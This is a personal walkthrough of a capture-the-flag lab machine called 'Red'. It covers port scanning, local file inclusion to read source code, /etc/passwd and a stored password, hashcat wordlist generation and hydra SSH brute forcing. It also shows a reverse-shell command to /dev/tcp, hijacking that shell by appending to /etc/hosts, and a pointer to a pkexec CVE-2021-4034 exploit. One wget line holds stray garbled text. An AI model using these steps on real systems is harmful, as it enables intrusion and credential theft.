Red

Created by	Kaio
Created time	@June 23, 2025 10:30 PM
Last edited by	Kaio
Last updated time	@June 25, 2025 8:06 PM

Enumeration

```
nmap -T4 -vv -A -O  10.10.93.23 -oN nmap.txt
```

```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e2:74:1c:e0:f7:86:4d:69:46:f6:5b:4d:be:c3:9f:76 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1MTQvnXh8VLRlrK8tXP9JEHtHpU13E7cBXa1XFM/TZrXXpffMfJneLQvTtSQcXRUSvq3Z3fHLk4xhM1BEDl+XhlRdt+bHIP4O5Myk8qLX9E1FFpcy3NrEHJhxCCY/SdqrK2ZXyoeld1Ww+uHpP5UBPUQQZNypxYWDNB5K0tbDRU+Hw+p3H3BecZwue1J2bITy6+Y9MdgJKKaVBQXHCpLTOv3A7uznCK6gLEnqHvGoejKgFXsWk8i5LJxJqsHtQ4b+AaLS9QAy3v9EbhSyxAp7Zgcz0t7GFRgc4A5LBFZL0lUc3s++AXVG0hJ9cdVTBl282N1/hF8PG4T6JjhOVX955sEBDER4T6FcCPehqzCrX0cEeKX6y6hZSKnT4ps9kaazx9O4slrraF83O9iooBTtvZ7iGwZKiCwYFOofalMv+IPuAJJuRT0156NAl6/iSHyUM3vD3AHU8k7OlSBkndyAlvYcN/ONGWn4+K/XKxkoXOCW1xk5+0sxdLfMYLk2Vt8=
|   256 fb:84:73:da:6c:fe:b9:19:5a:6c:65:4d:d1:72:3b:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdH
```

```
AyNTYAAABBBDooZFwx0zdNTNOdTPWqi+z2978Kmd6db0XpL5WDGB9BwK
vTYTpweK/dt9UvcprM5zMllXuSs67lPNS53h5jlIE=
|   256 5e:37:75:fc:b3:64:e2:d8:d6:bc:9a:e6:7e:60:4d:3c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDyWZoVknPK7ItXpqVlgsise5V
az2N5hstWzoIZfoVDt
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-title: Atlanta - Free business bootstrap template
|_Requested resource was /index.php?page=home.html
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
```

Open port:

- 22 (ssh)
- 80 (http)

LFI

https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb

```
curl --silent "http://10.10.93.23/index.php?page=php://filter/convert.base64-e
ncode/resource=index.php" | base64 -d
```

```
<?php

function sanitize_input($param) {
    $param1 = str_replace("../","",$param);
    $param2 = str_replace("./","",$param1);
    return $param2;
```

```
}

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
   $page = sanitize_input($page);
   readfile($page);
} else {
   header('Location: /index.php?page=home.html');
}

?>
```

```
curl --silent "http://10.10.93.23/index.php?page=php://filter/convert.base64-e
ncode/resource=/etc/passwd" | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
blue:x:1000:1000:blue:/home/blue:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
red:x:1001:1001::/home/red:/bin/bash
```

```
curl --silent "http://10.10.93.23/index.php?page=php://filter/convert.base64-e
ncode/resource=/home/blue/.bash_history" | base64 -d
echo "Red rules"
cd
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.t
xt
cat passlist.txt
rm passlist.txt
sudo apt-get remove hashcat -y
```

⇒ `.reminder`

```
curl --silent "http://10.10.93.23/index.php?page=php://filter/convert.base64-encode/resource=/home/blue/.reminder" | base64 -d
sup3r_p@s$w0rd!
```

create a file name `.reminder` then generate password list

```
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt
```

`Red likes to change adversaries' passwords but tends to keep them relatively the same. `

Brute-forcing

```
hydra -f -V -l blue -P passlist.txt ssh://10.10.93.23
```

Connect

```
ssh blue@10.10.93.23
```

⇒unstable connection which doesn't last long!

Monitor process running in the blue session using `pspy64`

```
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

Starting a listener ⇒ get the `pspy64` from attacker to the `/tmp` folder

```
blue@red:/tmp$ wget http://10.23.99.113:8000/No you are repeating yourself, you are repeating yourself
```

```
pspy64
--2025-06-24 12:49:10--  http://10.23.99.113:8000/pspy64
Connecting to 10.23.99.113:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              100%[===========================⇒]   2.96M   34
7KB/s    in 11s

2025-06-24 12:49:22 (285 KB/s) - ‘pspy64’ saved [3104768/3104768]

blue@red:/tmp$ chmod u+x pspy64
blue@red:/tmp$ ./pspy64
```

```
2025/06/24 12:49:53 CMD: UID=1001  PID=1435   | bash -c nohup bash -i >& /
dev/tcp/redrules.thm/9001 0>&1 &
```

The `nohup` command in Bash is used to run a command or script that will continue to execute even after the user logs out or the terminal session is closed.

The

```
bash -i
```

flag is used to invoke a Bash shell in interactive mode.

The

```
bash -c
```

flag is bash should execute the string as a command

=? what is the ip address of redrules.thm

⇒ `/etc/hosts` to find out

```
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 red
192.168.0.1 redrules.thm

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouter
```

⇒ 192.168.0.1 `redrules.thm` on port 9001

Attempting to modify the /etc/hosts to set a connection

```
/usr/bin/echo "10.23.99.113 redrules.thm" | tee -a /etc/hosts
```

tee is a tool which reads from standard input and write to standard output and files

In this case, `-a` flag is attempting to append to the /etc/hosts file

which is sucessful

then set up a listener with port 9001

```
nc -lnvp 9001
```

Priviliege escalation

```
find / -type f -perm -04000 -ls 2>/dev/null
```

Noticeable

```
 418507     32 -rwsr-xr-x   1 root     root        31032 Aug 14  2022 /home/red/.gi
t/pkexec
```

Checking for version of the service

```
./pkexec --version
pkexec version 0.105
```

⇒ CVE-2021-4034

https://raw.githubusercontent.com/joeammond/CVE-2021-4034/refs/heads/main/CVE-2021-4034.py